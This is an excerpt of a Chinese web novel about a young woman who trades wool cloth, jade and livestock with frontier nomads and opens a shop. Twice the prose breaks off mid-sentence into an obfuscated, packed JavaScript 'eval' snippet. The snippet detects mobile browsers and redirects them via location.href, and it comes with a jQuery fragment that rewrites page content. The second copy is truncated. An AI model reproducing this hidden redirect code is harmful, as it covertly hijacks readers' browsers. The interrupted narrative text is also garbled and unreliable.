杨元正也看过来:“燕姑娘能解决这个难题?” “商队我们是暂时组不了,但我们还是可以把货物卖出乌州的,”燕惜妤往前凑了一下脑袋,“我们可以把货物卖给埬州,然后埬州再把货物卖给麀州,接着麀州再把货物卖给窉州,这样一州再卖给一州,我们的货物就能卖到淮扬和封州了。” “咦!”梁屯长先是一愣,再是一惊,和同样惊讶的杨元正互相看了一眼,很是震撼地看着燕惜妤,“燕姑娘,你这法子好像可以啊!” “不过这样一来,价格方面就会有很大的出入,”杨元正一下子就想到了关键,“会不会让人指摘我们?” “若是有谁觉得在当地买认为价格不合理,那就让他们亲自来乌州买,”燕惜妤耸耸肩膀,“我在乌州卖最便宜的羊毛料子给他们,但相对的,他们需要自己承担这一路来乌州会遇到的危险,还要剔除路上因吃住所花出去的银子。” 杨元正沉吟片刻后说:“这路上太不太平另说,吃住那也要花上不少银钱,若只买自家用的,在当地买肯定是最合适的。” “那肯定啊,又不是商队,谁会大老远跑到乌州就只为了买几身羊毛料子回去,”梁屯长也接着说,“反正我不会,我宁愿贵些,也在乌州买丝绸,不会千里迢迢跑到淮扬只为买两身衣裳。” “我也不会,出过远门的人都知道,在路上奔波太累了,”燕惜妤笑了笑,“当然那些富贵人家若想一路游山玩水过来,我们也很欢迎,但毕竟这样富贵的人家少,我们的羊毛料子不仅要卖给他们,也还要卖给买不起厚裘皮的老百姓。” “燕姑娘真是好谋划,”杨元正佩服道,“燕姑娘想出的这个法子确实很适合现在的我们。” 他们的羊毛作坊才刚刚做起来,不仅人少,羊毛也暂时提供不上,若这时就组成商队,那肯定是入不敷出。 但若按照燕惜妤想的这方法,把手上的羊毛料子先卖去埬州,等把钱款收回来,买羊毛和再招些人手,埬州那边也就有人知道了羊毛料子,有了客源就有了固定的收入,等在埬州把销路打开了,就又能把羊毛料子卖到麀州。 这样一州带着一州,总会把羊毛料子卖到淮扬和封州。 杨元正暗自咬了咬牙,总会有那么一天的,已经等了这么久了,不必急在这一时。 “可是,羊毛料子也只在冷天好卖,到了热天没什么人买啊,”杨元正想着靠羊毛料子打通一条回封州的路,但梁屯长想的却是如何赚到银子。 “不急,我还能卖些别的,”燕惜妤神秘地一笑,“屯子,你别忘了咱们还有陶坊和糖坊。” “……可这样别的州县也有,而且其他地方的陶器比我们的要好,”梁屯长一时想不通焦老爷子的陶坊有什么竞争力。 “到时候只要再加上玉器,就值钱了,”燕惜妤低声说,“夷狄人的玉石可是最抢手的。” 梁屯长眼睛倏地一亮:“对啊,我怎么忘了!我们最开始是想着和夷狄人换玉石和活羊的!” “对,我们现在做的这一切,最开始就只是想着和夷狄以物换物,”杨元正也想到了这个问题,“我差点忘了。” “慢慢来,我们一步一步走,”燕惜妤看着他们,“我其实还想着以后在全大承所有的州县都开设铺面,所以这次在别的州县选卖货的货郎最为关键。” “……在大承所有的州县都开铺子?!”梁屯长又是一脸的震惊,“燕姑娘说真的?!” “那自然是真的,”燕惜妤点点头,“如果每个州都卖我们的货物,自然要有自家招牌的店铺,否则不就是为别人做嫁衣了,我才不干亏本的买卖。” “好啊!那我……”梁屯长刚想说他可以帮忙,但再一想到他正在边地准备着种甜高粱做糖坊,一时真是分身乏术,“那这事我们回去再细细商量。” “好啊,”燕惜妤笑眯眯地点头。 她已经把大饼画了出来,只要有想分一杯羹的人,总会和她站在一起。 她也不怕这些人日后有什么坏心肠,因为最关键的羊毛和玉石都是从夷狄那边得到的,若其他人也有这本事去夷狄和她抢生意,她不介意把人打趴下。 这时仲茂走了过来:“燕姑娘,都搬好了,可以回去了。” 天已经黑了,哨岗已经燃起了篝火。 “那我们回去吧,”燕惜妤吩咐仲茂他们回屯里,然后转身对着苗月挥挥手,“我回去了,下次再去找你。” 四周太暗了,燕惜妤看不清苗月的脸,只看见对方对她挥了挥手。 达格其和里提清就站在哨卡栏杆的旁边,燕惜妤走过去隔着栏杆对他们说,“达格其大叔,里提清大叔,你们回去的路上注意安全,早点回去,我下次再过去找你们。” “下次你把羊毛料子带上,还有草药重果子罐,都带上,”里提清说,“我回去准备石头和羊毛,你不要忘了过来。” 他们也知道那些石头是玉石,可他们那边玉石太多了,他们光有玉石也没有,毕竟玉石不能吃,但玉石可以换到他们需要的,各取所需这点尤为重要。 “好的,我下次再给你们带些蔬菜果子过去,”燕惜妤点头,“我有什么给你们带什么。” 现在是七月中旬,地里田间的果蔬长势喜人,山上还有一茬又一茬的果子,全都能吃。 “好啊,”达格其笑着说,“我们等你带着货物过来。” 两批人各自反方向走着,达格其他们回夷狄,燕惜妤带着人回边地。 屯里的人知道屯长他们带着板车去拉羊毛,那些有家人在布坊上工的人家时不时就出院子看两眼。 羊毛要是拉回来,他们就有工做了,有工做就有工钱,边地这边的人想赚点银子不容易,所以他们希望梁屯长能快点把羊毛拉回来。 “回来了!他们回来了!”夜色里,也不知道谁忽然喊了一嗓子。 “哗啦”一下,屯里的人家全都站到院子里满屯口那边看。 燕惜妤举着火把走在最前头,在她旁边是罗采春和佟瑰方姐弟俩,后面就是刚带回来的牛马羊,之前就是梁屯长和杨元 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136303|151906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正等人,再之后就是牛拉着堆满成捆羊毛的板车,仲茂他们五兄弟举着火把走在最后面。 “看到了吗!这次燕姑娘不仅带回了牛和羊,还带了马回来!” “看到了!一匹马上百两银子吧?” “不只,要是良马,能卖三百两银子!” “嘶!这么贵?!” “马匹可是战需,老值钱了!” “快看!是羊毛!!” “羊毛带回来了!!” “真的是羊毛!!” “太好了!我也想买羊毛料子做衣裳,皮子买不起,羊毛料子我舍得买,又暖和还比皮子便宜。” “我也想买!乌州的雪天太冷了,上一个雪天差点冻死我!” 燕惜妤听着邻居们的窃窃私语,一路带着罗采春走回了家。 桑大娘早就等在院子里了,而小满儿几个小孩就坐在门槛边,一看见她立即就跑了过来。 “燕姐姐,你怎么才回来?” “等很久了吗?”燕惜妤把手里的火把递给罗采春,半蹲下来和小满儿说话,“燕姐姐下次会早点回来。” “说好了!”小满儿连蹦了好几下。 “说好了,”燕惜妤这才站起来对桑大娘说,“大娘,家里没人来闹事吧?” 她还记得之前被她打趴下的程家来的那些人,虽然她完全不知道对方是什么来头。 完生陌生的人就敢叫人上门抢她家的东西,这人胆大,燕惜妤怕她不在家时会有人上门闹事。 桑大娘笑着说:“没人敢来,屯里的这些邻里很照顾我,看见有生人进屯就立即来守着家里院子门。” “有陌生人进屯?”燕惜妤皱了皱眉,“是什么人?” 桑大娘说:“不清楚,说是找人,但没找到,后来又去了隔壁的屯子。” 这时梁屯长走了过来:“燕姑娘,你家里这些刚带过来的牛马羊该怎么办?” 燕惜妤看了看,杨元正在指挥着把羊毛都拉到布坊去,还说他和几个兄弟都守在布坊。 “马和羊我留下,”燕惜妤对梁屯长说,“牛给你带走。” “那我可就带走了,”梁屯长搓着双手,“我已经搭好了大牛棚,还请了羿家军营里退出来的老大哥帮忙看牛棚,保准没人敢闹事!” “羿家军营的人?”燕惜妤一愣。 “是解甲归田的士兵,”梁屯长看了看燕惜妤的脸色,“虽然受过伤,但身手还是很好的,他……家里没什么人了,也还没成亲,就想留在边地。” “好,这事屯长你来安排,”燕惜妤点点头,“我对这些事情都不懂,日后只能劳屯长你多费心了。” “哎好,这些事都交给我,”梁屯长挺直腰杆说,“我保准不会出岔子。” “屯长,”这时有邻居在旁边喊,“牛要不要帮你牵去大牛棚?” “哎你先别动!”梁屯长连忙小跑了过去,“你跟着我把牛牵出去,别吼它们,它们走一天了,让它们慢些走。” 人群渐渐散了,仲茂他们正在把马牵到他们住的院子,佟槿方对着十头羊正发愁:“这十头羊关哪去啊?” “之前的不是关在最后排那边的屋子吗?”罗采春说,“这次也关过去。” 佟槿方说:“那里放着好些东西,不能再养羊了。” “是吗?”罗采春举着火把往外走,“我过去看看。” “仲二,你陪着罗姑娘一起过去,”在旁边给羊喂水的佟瑰方喊了一声。 “哎好,”仲二在外面应。 燕惜妤站在院子看着,桑大娘就站在她旁边:“大家都有事做,都能替你分忧。” “那我就无后顾之忧了,”黑暗中看不清燕惜妤的脸,但她的声音轻快明朗,“桑大娘,接下来会很忙,几个小孩就交给你了。” 119. 第119章 燕惜妤说接下来会很忙,就真的开始忙了起来。 陶坊堆积了不少烧好的陶罐,燕惜妤让梁屯长找屯里的住户上山摘果子和各种菌子,分别做成果子罐和菌子酱。 燕惜妤只是提出方法,实际动手的都是屯里的住户。妇人整日围着灶头转,做酱的手艺很不错。 布坊是已经步入正轨了,而且杨元正还多找了几个妇人帮忙,而燕惜妤是付工钱的人。 梁屯长整日让人赶着牛去开垦荒地,有些田已经种上了甜高粱。他很有干劲,除了看着人开荒种田,还负责找在各州卖货物的走商货郎。 燕惜妤提醒他,一定要找信得过的人,否则很容易出事。梁屯长也怕被人诓骗,怕自己辛苦一场却最终为他人做嫁衣。 于是他干脆找那些解甲归田的兵卒。 燕惜妤也不知道他具体是怎么做的,反正梁屯长告诉她已经找好了货郎,就等着拿货出去卖了。 燕惜妤手头上还真没什么货物,就算有,她也要先送到夷狄,这样才能继续换来羊毛和活羊。 为了能多换些羊毛和玉石回来,燕惜妤让梁屯长找屯里人进山摘野菜和草药。 人多比较安全,而且去的也不是临阜山,而是去的另外的山头。 在杨元正终于赶出了一批羊毛料子之后,燕惜妤把除了仲四的其他四人一起带去夷狄。 她把仲四留下看家,是因为屯里人都知道仲四是屠夫,他杀羊杀猪那都是心狠手辣从不眨眼的。 燕惜妤让仲四拿着杀猪刀守在院子里,一定要护好家里人的安全。 仲茂他们要去皆狄也很紧张。 过了边卡,燕惜妤骑着马在前头带路,仲五坐在第一架拉着货物的马车上,仲茂他们三人则分开在两边和最后跟着。 他们这次来夷狄,一共带来了八车货物,其中四车是羊毛料子,剩下四车分别是果子罐、菌子酱,草药和果蔬。 梁屯长说虽然少了些,但也不是没有商队只拉几车货物到边卡以物易物的。 当然那些人只和夷狄人换羊皮子,他也让燕惜妤换些羊皮子回去。 燕惜妤当时也没和达格其他们说好具体要换什么,因为她已经空手套白狼好几次了,如果不是在草原上驯服了野牧群,达格其他们根本就不可能会信她。而那些野牧群原本也是属于草原上的,燕惜妤拿原来属于草原上的野牧群个从夷狄人手里换回了很多东西。 她不敢太过于明目张胆,所以这次拉着货物来换,她打算让达格其和照图他们自己决定要什么,她把决定权交出去,也刚好试试达格其他们是不是诚心想和她合作。 还没到达格其住的毡包,就已经有人在等着燕惜妤了。 “里提清大叔?”燕惜妤认出了来人,“你怎么知道我今日要来?” “我这两日一直在这边放牧,顺带着等你把货物拉过来,”里提清骑着马走近,看了看燕惜妤拉过来的板车,笑着问,“不知燕姑娘想和我们换什么?” “你们先看看我带来的货物,”燕惜妤反过来说,“然后你们再决定拿什么要我换。” 里提清顿了一下,看着燕惜妤说:“怪不得照图叮嘱我在你面前不能过大意。” “哎?”燕惜妤表情有些受伤,“怎么能这么防着我呢。” “不只如此,我们还不准达格其开口,”里提清抬着头说,“我们虽然打算和你合作,但却也不想被你骗。” “那我们都诚实一点,”燕惜妤笑笑,“就先从我开始吧,我带来的货物随便你们拿什么来换都可以。” 她大方,照图他们看了心里觉得没被轻视,于是同样给了燕惜妤该有的信任。 日纳金带燕惜妤去了荒漠上的一处玉石区。 这处玉石区随地可见各种大小不一的石头,这些石头奇形怪状,颜色也各异,从表面看来,无法确定是石头还是玉石。 日纳金让燕惜妤随便选一车拉回去。 燕惜妤其实也不懂,她听过赌石,也看过原石,但她看不出。 “燕姑娘,你选吧,”日纳金很大方地说,“你挑一车石头拉回去。” 燕惜妤看看他,又看看地上的那些石头,这些石头从表面看,就是石头,或许它本来就是石头,根本就不是什么原石。 燕惜妤问:“日纳金大叔,其他的商队过来都换石头吗?” “换的不多,我们知道这些石头里面开出的玉在大承卖得很贵,所以我们和那些人换都是几块几块地换,”日纳金说,“看他们是换三十块还是五十块。” “也有可能根本就不是原石,只是普通的石头,”燕惜妤叹气,“我看不出来。” “你看不出来?”日纳金半信半疑地看着她,“照图说你很不一般,你别想骗我。” 我还真没骗你。 燕惜妤跳下马:“那我随便挑些带回去。” “你挑,”日纳金站在旁边,“你挑了就堆成堆,我让人给你搬板车上去。” 燕惜妤于是挑了一车石头,她挑的差不多都是两个拳头,或一个拳头大小的石头,圆的或椭圆的,那些长的方的太大或太小的都没选。 挑了玉石,再回到达格其毡包时,仲茂他们四人已经在搬着里提清带过来的货物了。 “都是些什么?”燕惜妤随口问了一句。 “羊皮子!”仲茂的声音有些激动,“三车羊皮子!” 夷狄人世代都是以羊肉为主食,羊皮子自然积了很多。 三车羊皮子,一车石头,还有四架空车。 “剩下的要羊毛,”燕惜妤对仲茂说,“你们在这搬着,我去找他们要活羊。” 这次她带来的羊毛料子很讨夷狄人喜欢,应该能再要些活羊,毕竟以前的那些和他们换货物的商队里可没有羊毛料子,整个大承独她家有。 照图说活羊可以给三十头,但要燕惜妤去给他们套骆驼。 “套野骆驼?”燕惜妤看了看达格其,“那我亏了啊,万一你们要一整个野骆驼群,我得套到什么时候。” 照图说:“除了刚才说好的三十头活羊,一头骆驼换五头羊。” “我还是亏了,”燕惜妤摇头,“野骆驼力气大,而且野骆驼不像牛马羊可以成群带回来,每次只能套一头,太费劲了。” “那你要怎么换?”日纳金在旁边问。 燕惜妤说:“一头野骆驼换一匹马和两头羊,把马换成牛也可以。” 照图他们一时没有说话。 燕惜妤就又说:“别想太多了,万一我只套到一头野骆驼回来,也就换你们一匹马和两头羊,你们不吃亏。” “好,”照图点头同意。 准备出发去套野骆驼时,达格其凑过来小声说:“我养的马牛羊你随便挑,羊毛也都留给你。” 燕惜妤看着他:“你可上点心吧,原本该是我和你合作,而照图他们再经过你和其他夷狄人沟通,现在他们几人要撇开你了。” “啊什么?!”达格其一脸震惊。 燕惜妤没理他,骑上马跟着照图和卓娜走了。 别看卓娜是女子,她寻找野骆驼踪迹的能力在夷狄无人能及。 估计他们早就盯上这一群野骆驼了,所以卓娜很轻易地就找到了野骆驼。 他们远远地下了马,躲在沙土堆后面,盯着前面不远处的一群野骆驼。 “怎么套啊?”燕惜妤低声问卓娜,“拿绳子套吗?” “对,”卓娜点头,“你负责套野骆驼的脖子,我和照图负责用绳子绊倒,只要野骆驼一倒下,立即拿绳子绑住它们的四蹄。” “挺简单的,”燕惜妤伸出手,“把绳索给我。” 卓娜看着她:“……你不用再准备一下?” “要准备什么?”燕惜妤不解地看着她,“套头野骆驼而已,又不是去抓一条龙,难道还需要向老天祈祷吗?” 照图在旁边轻声笑了一下。 卓娜只好把带来的专门套野骆驼的绳索递给燕惜妤:“你也说了野骆驼的力气很大,它们虽然平时慢悠悠的,可一但奔跑起来也很快,实在不行你就松开绳索,可千万别被野骆驼一甩脖子给甩飞了,砸地上会断好几根骨头。” 燕惜妤还真的是被野骆驼一脖子给甩飞了。 “快救人!”照图吼了一声已经冲了出去。 卓娜也紧盯着燕惜妤被甩出去的方向跑。 却没想到燕惜妤在半空中一个翻身又回到野骆驼的驼峰上,她双手抱着野骆驼的脖子,整个身体悬在野骆驼身侧猛地往下一坠,硬生生地把野骆驼给撂倒了! “!!!”照图脚下一个急转,又冲了回来,“快拿绳子!” 他和卓娜对套野骆驼和绑野骆驼很有默契和经验,两三下就把想挣扎着站起来的野骆驼给绑住了四蹄。 燕惜妤一身沙子地站了起来,她拍拍衣服,然后头也不回地又冲了出去:“继续。” “你的绳子忘了拿!”卓娜在背后喊了一句。 照图摆摆手:“不用给她绳子了,她更适合赤手空拳。” “……可也没谁赤手空拳就能抓到野骆驼……”卓娜嘀咕了一句,但看见侧卧在地的野骆驼,又说,“我现在我到了。” “我也看到了,”照图站了起来,“我们快过去。” 燕惜妤之前还说万一只套到一头野骆驼,结果在第二天清晨她和照图他们足足牵回来了十一头野骆驼。 达格其目瞪口呆地看着:“……你们是不是把野骆驼群都给套回来了?” “没有,跑了一半,”虽然在外面露宿了一夜,但卓娜满脸的兴奋,“只要是风沙太大,燕姑娘眼睛进了沙子难受就没再套了。” “达格其,你再给燕姑娘倒些清水,”照图边扶着燕惜妤下马边对达格其说,“让她洗一下脸。” 在野外的水源是很珍贵的,燕惜妤没舍得用来洗脸。 燕惜妤下马从来不需要让人扶,但现在的她粘了一脸的沙子,眼睛也咯的发痛,鼻子和嘴巴里都是沙。 “快过来!”苗月连忙把燕惜妤扶进了毡包,“我准备了干净的温水,你快洗洗脸。” 等她们进了毡包之后,担心了一夜的仲茂他们盯着照图和卓娜。 “怎么你们不见有事,单就我们家姑娘这么狼狈?” “你们是不是故意的?!” “我家姑娘一个女子,你们怎么能欺负她?!” “我看你们是想在暗地里害我们姑娘!” 照图这个夷狄勇士被骂了也没有反驳,因为确实是他的错。 他们夷狄人习惯用绳索套野骆驼,基本是好几个人一起拉着绳索,然后把野骆驼绊倒。因为大 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“那……”苗月原本想问卓娜有没有事,但想到刚才卓娜自己下马身体轻松自然,应该是没被撞到,“就你受了伤回来。” 燕惜妤笑笑:“我要问她多要几头羊。” “应该的,”苗月坐在旁边应了一声,然后就坐着没再说话。 她看着燕惜妤,明知对方闭着眼睛,但她仍然有些难以启齿。 燕惜妤像是猜到了她有话要说:“苗月阿姨,上次在边卡那里怎么没过来和我们说说话。” 她没直接提到佟瑰方姐弟俩,若苗月不是他们的娘亲,那佟瑰方姐弟在她眼里就是陌生人。 “……我……看到了瑰方佟槿方,”苗月一说到儿女,眼睛立即就红了,“我……有十年……我又和达格其这样,我怕……” 她怕她的儿女都不认她。 燕惜妤现在确认了苗月是佟瑰方姐弟的亲娘,但她在这件事上没办法帮到她:“那就再等等,反正他们在边地,等你想好了再去见他们。” “他们为什么会来边地?”苗月忽然说,“瑰方她……身边还有谁?” 燕惜妤知道她想问什么。 苗月身为佟瑰方的娘亲,自然是希望她已嫁到和善人家,但若已嫁了人,佟瑰方就不该来这边地,就算来,她夫家也会担心,应该会有谁陪着才是。 “没有,”燕惜妤闭着眼睛说,“她和他阿弟一起过来的,其他的其实我也不清楚,我没问。” 她虽然把佟瑰方救了出来,但她没问过关于佟家的事,佟瑰方也没提过,她和佟槿方都不想再提起佟家。 苗月听燕惜妤说不清楚,她也就没有再问,她知道燕惜妤不会骗她。 毡包外,仲茂他们四个都已经骂了照图和卓娜快半个时辰了。 照图和卓娜硬是一句话也没回嘴。 燕惜妤红着一双眼睛走出来,脸上却全是笑容:“让你们欺负我,被骂了吧。” 一看见她出来,仲茂他们立即围了过来,七嘴八舌地关心她。在确定她没什么事之后,这才纷纷跑去喝水,骂人骂渴了。 达格其和日纳金还里提清听仲茂他们骂了这么久,这时也觉得很对不起燕惜妤。 尤其是达格其,他一直说燕惜妤是他家苗月的娘家人,这时苗月娘家人受了这么大的罪,他和仲茂他们同仇敌忾,瞪着照图问:“早知道就我带燕姑娘去套野骆驼了,燕姑娘来了这么多次,我一次也没让她受过伤。” 燕惜妤笑着看他:“确实是这样。” 照图问:“那你想要什么?” “找他要银鹰,”达格其在旁边提醒,“你上次不是想要海东青?照图家里有只银鹰。” 银鹰可不容易抓到,那可是天上的霸主,能直接把地上的羊给抓走。 达格其其实是故意这么说的,他在等照图拒绝,然后就能狮子大开口帮燕惜妤要多几头牛。 谁知照图竟然点头:“好。” 这下不只达格其大吃一惊,就连日纳金他们也一脸震惊。 燕惜妤却摇头:“我不要银鹰。” “那你要什么?”照图看着她。 “以后我和你们的合作,你们不能撇下达格其大叔,”燕惜妤说,“他被族人赶了出来,我苗月阿姨很难过,我要他和苗月阿姨能得到族人的接纳和认同。” 她的离魂症是佟槿方治好的,她把他和佟瑰方当家人,如果他们姐弟知道苗月不被达格其的族人接纳,一定会很伤心。 “你……”达格其看着燕惜妤,眼神很是感动,“我能把苗月带回族里。” “这是最开始我和你说好的条件,你忘了?”燕惜妤瞥他一眼,“我当时说你帮我养羊,然后我帮你得到族人的认同。” “你好像是说过,”达格其还真忘了。 日纳金在旁边看得直皱眉,心里对达格其是又羡又气。 既羡慕他能比他们早认识燕惜妤,又气他挡在了他们的前面。 若没有达格其,那他们就能直接和燕惜妤合作,但现在燕惜妤摆明了要想帮达格其,他们只能排在达格其的后面。 达格其真是走了狗屎运。 120. 第120章 拉满货的板车去了夷狄,回来的板车上也是满的,并且还连带着好几十头羊,牛有五头,马也有五匹。 这一路浩浩荡荡的,令仲茂他们几人像是在梦中似的。 “大哥,咱是不是骂了那夷狄人了?”仲二骑着马走在仲茂旁边。 “是骂了,”仲茂现在想想,也不知当时他为什么就敢骂夷狄人,或许是因为有燕惜妤在。 “……那我们可真是胆长毛了,”仲二喃喃道,“他们竟然也没生气。” “他们不敢,”仲茂低声说,“燕姑娘在呢。” 于是仲二和他一走看向骑马走在最前头的燕惜妤。 滴了几次药汁,燕惜妤的眼睛已经好多了。她等到后晌才回大承,这时的日头快下山了,光线不刺眼,她骑马赶路瞠眼睛就不会太难受。 梁屯长和杨元正对首次和夷狄人以物换物很上心,早早就等在了边卡。 布坊里还有不少羊毛料子,燕惜妤说等她从夷狄回来之后再卖出去,杨元正于是眼巴巴地等着。 杨家有人问:“元正大事,为何非得等她回来?我们直接就能把货拉到县上去卖,大承独一份的羊毛料子,不愁没人买。” 另一个杨家人附和着点头:“就是,那燕姑娘是不是不信咱?还是防着咱?” “都闭嘴!”杨元正冷斥了一声,“都已经被流放到这边地来了,你们还没能长记性吗?若是卖别的,我们在县上就能卖,但卖这大承独一份的羊毛料子,那就太招人眼了,上次那程家直接上门想抢,若不是燕姑娘正好回来,不仅布坊,就连我们都得被抢去当家奴,自然是要小心为上。” 那几个被骂得杨家人顿时不敢吭声了。 这时,燕惜妤骑着马出现在大家面前,梁屯长的眼里只有带回来的羊群和牛马。 “这么多羊!还有马和牛!”梁屯长双手撑着哨卡的栏杆往着挥着身体,“那板车上拉的……是不是羊毛皮子?” “好像是,”旁边的杨元正眯着眼睛看了看才点头,“是羊毛皮子。” “怪不得燕姑娘说让我们等她回来,羊毛皮子和羊毛料子一起摆出去卖,那才是真的能抬高价,”梁屯长兴奋地搓着手,“元正啊,咱们忙活了这么久,终于能有正经的进项了!” 之前一直都是燕惜妤卖活羊往里搭银钱,一次也没能赚到银钱,如果不是燕惜妤能从夷狄带回活羊,他们这布坊,陶坊,还有正在准备着的糖坊一定做不起来。 想到这里,梁屯长忽地一顿。 他家婆娘曾背地里问过他,燕惜妤找他和杨元正这些人来帮忙管理作坊,而她本人却很少亲自到场,只让她的家人帮着一起管理,难道就不怕被某些有心人独揽大权然后把作坊占为己有吗。 梁屯长之前也怕会出现这个问题,所以就算燕惜妤没有提,他找来作坊做活的都是些老实本份的人,那些狡猾有心计的人他根本就不敢用。 可这时看着燕惜妤赶过来的羊群,还有马和牛,他忽然就想明白了燕惜妤为什么会不怕。 因为布坊的羊毛全靠着燕惜妤从夷狄人那边带过来,就算有人把作坊抢走,可没有羊毛的作坊也不过是个空壳。 退一万步来说,哪怕自己养羊,可在大承这边养羊又哪能比的过夷狄人。夷狄是游牧民族,他们靠牧群为生,尤其是羊,祖祖辈辈累积下来的羊群散满了整个大草原! 怪不得燕惜妤不怕,她既不怕布坊被人抢走,也不怕别的布坊也纺出羊毛料子,因为她背后有着整个大草原的羊群。 要说比谁养的羊多,谁又能比得过燕惜妤! 当然其他商队也能和夷狄人买羊毛纺羊毛料子,但一来他们离的远,要是加上路费和人工,成本肯定高出很多。二来他们也未必能从夷狄人手中买得到羊毛。 燕惜妤可是直接去夷狄人的地盘上把羊毛带回来的,而其他商队只能互相定好日子,双方带着货物隔着哨卡栏杆互换货物,他们怕夷狄人,根本就不敢去夷狄人的地盘! 梁屯长越想越觉得燕惜妤令人生畏,怪不得她之前就说过不怕别人也做羊毛料子的买卖,原来是因为她有持无恐。 这时燕惜妤已经骑着马走到了哨卡的栏杆旁边,她跳下马走了过来,一眼就看见梁屯长满头的汗:“屯长,你这是晒出了一身汗?” 她抬头看看天,又说:“下次不用过来等了,我带着板车过去的,直接就能过边卡,不用你们过来搬货。” “不是不是,我没等多久,你……”梁屯长连忙摆手,一下子就发现了燕惜妤有些红肿的双眼,“你眼睛怎么了?” “风沙刮的,”燕惜妤随意地说了句,然后对他说,“屯长,劳烦你去哨岗那边帮帮仲茂他们,我让他们四人去办理过边卡的事宜,你过去帮帮他们。” 梁屯长一听,立即就知道燕惜妤这是打算以后去夷狄换货拉羊毛的事,都要交给仲茂他们几人。 她这是把最重要的拉货渠道抓在自己人手里,杨元正他们就算守着布坊也没用,假如没有羊毛,布坊就得停工。 梁屯长扫了眼旁边的杨元正,点头道:“那我过去看看。” 等他走了,燕惜妤又对杨元正说:“杨大叔,明日你带人整理好那两车羊皮子和羊毛,再加紧纺些羊毛料子出来,到时我让仲三一起拉去镇上卖。” “好,”杨元正点点头,看看燕惜妤,先是问了句她的眼睛,“燕姑娘眼睛真没事?” 燕惜妤说:“没事,已经好了。” 杨元正抿抿嘴说:“燕姑娘,去镇上卖羊毛料子的人,我杨家人可以去吗?” 燕惜妤看了眼他:“杨大叔不是说只要布坊吗?” 布坊现在大小事宜做主的都是杨元正,除非没了羊毛,否则不会找燕惜妤。 当然,若是有人上门闹事,也需要找燕惜妤。 “不瞒姑娘,”杨元正叹气道,“杨某想借羊毛料子带着家人重回封州。” 封州,天子脚下的皇都。 这些被流放的人曾经都是皇都里的高门大族,他们想回去无可厚非。 “可以啊,”燕惜妤点点头,她和杨元正不是雇佣关系,而且互助合作,要是没有杨家人,羊毛料子指不定还没能纺出来,“祝你所愿成真。” 杨元正一愣,看着燕惜妤有瞬间的出神。 他以为燕惜妤会生气,毕竟他拿着燕惜妤的工钱管着布坊,却又还想借着她挣出一条重回皇都的路。 他这是在利用燕惜妤。 他没想到燕惜妤完全不在意,并且还祝他所愿成真。 “燕姑娘,我……”杨元正一时不知该说些什么。 “阿妹!”忽然传来了罗采春的声音。 燕惜妤转头一看,发现罗采春和佟瑰方姐弟也来了。 “杨大叔,你去帮一下屯长,”燕惜妤说了一句,然后向着罗采春几人走去,“三姐,你们怎么也来了?” “我们出来放羊,”罗采春指了指不远处,只见小满儿他们在放羊,“就顺道过来看看你回来了没有。” “小满儿和小玉彩都会放羊了,”燕惜妤边乐边说,“那刚好,我又带回了几十头羊,可以一起放。” “这次怎么带回来这么多头羊?”罗采春惊讶道,“咱们要养羊吗?” “不养,我们又不会养,”燕惜妤摇头,“我打算卖羊肉然后去买间铺子。” “咱们要买铺子了?”罗采春又是一怔。 “对,羊毛料子不适合摆在街边卖,”燕惜妤把原因说出来,“现在我们的羊毛料子是大承独一份,必须让回头客和货郎有个可以找的地方。” “那就买,”罗采春连连点头。 “燕姑娘,可以了,”梁屯长在哨岗那边喊,“仲茂他们先把羊赶过来。” “好,我这就来,”燕惜妤对罗采春三人说,“三姐帮忙看着羊群。” 然后她才走去哨岗,她是最后一个过边卡的人。 守边卡的将士早就已经认识了她。 “燕姑娘,又发财啊,”有守兵笑着说了句。 燕惜妤喜欢听别人说她发财,于是从拉着石头的板车上随手拿起一块原石递了过去:“这是我和夷狄人换的石头,送守兵大哥一块拿着玩。” 那守兵愣愣地接过,单手捧着一时有点傻眼。 这些原石在镇上最底价可都要十两银子一块,她就这样给他十两银子?! 燕惜妤牵着马走向罗采春:“三姐,咱们回去吧。” “嗳好,”罗采春点头,冲说是放羊实际在玩的几个小孩喊道,“阿谦,阿转,玉彩,小满儿,把羊赶回去了。” “他们哪懂得赶什么羊,”梁屯长最近养牛颇有心得,这时小跑着过去,“我过去把羊赶回去。” 佟槿方看着燕惜妤刚带回来的羊群,皱着眉说:“这么多羊,养在哪啊?” “暂时养在梁屯长的大牛棚里,”燕惜妤低声说,“反正他那牛棚很大。” 刚搭的牛棚确实很大,梁屯长估计是想燕惜妤把夷狄人的牛全都带回来,所以他让人搭了个很大的牛棚。 佟槿方也低声说:“那随便把现在这十头也一起关进去。” 燕惜妤笑着看他:“臭到你了?” 佟槿方黑着脸说:“草药都被他们嚼了。” 燕惜妤笑了两声:“那确实是不能再养在家里了。” 佟槿方还是皱着眉:“快点把羊都卖了。” 燕惜妤其实也是这样打算的。 他们这些人不会养羊,之前只养一只小羊羔还好,可现在养这么多头羊,万一养死了,那就亏大了。 于是接下来卖羊去镇上买铺子,还买了两架半旧带厢的马车,他们卖的是羊毛料子,最怕在运输途中被雨淋湿,所以必须要做好这方面的准备。 买铺子的事是交给梁屯长去做的,他是乌州本地人,泰县哪条街热闹他最清楚。 买了铺子,简单收拾一下,又去买了货架和长木案,再把羊毛料子和羊皮子摆上去,就可以营业了。 选了最近的好日子,把杨家妇人绣的幌子往门边上一插,铺子就能迎客了。 街上突然开了新铺子,附近铺子的掌柜都很好奇,连连过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 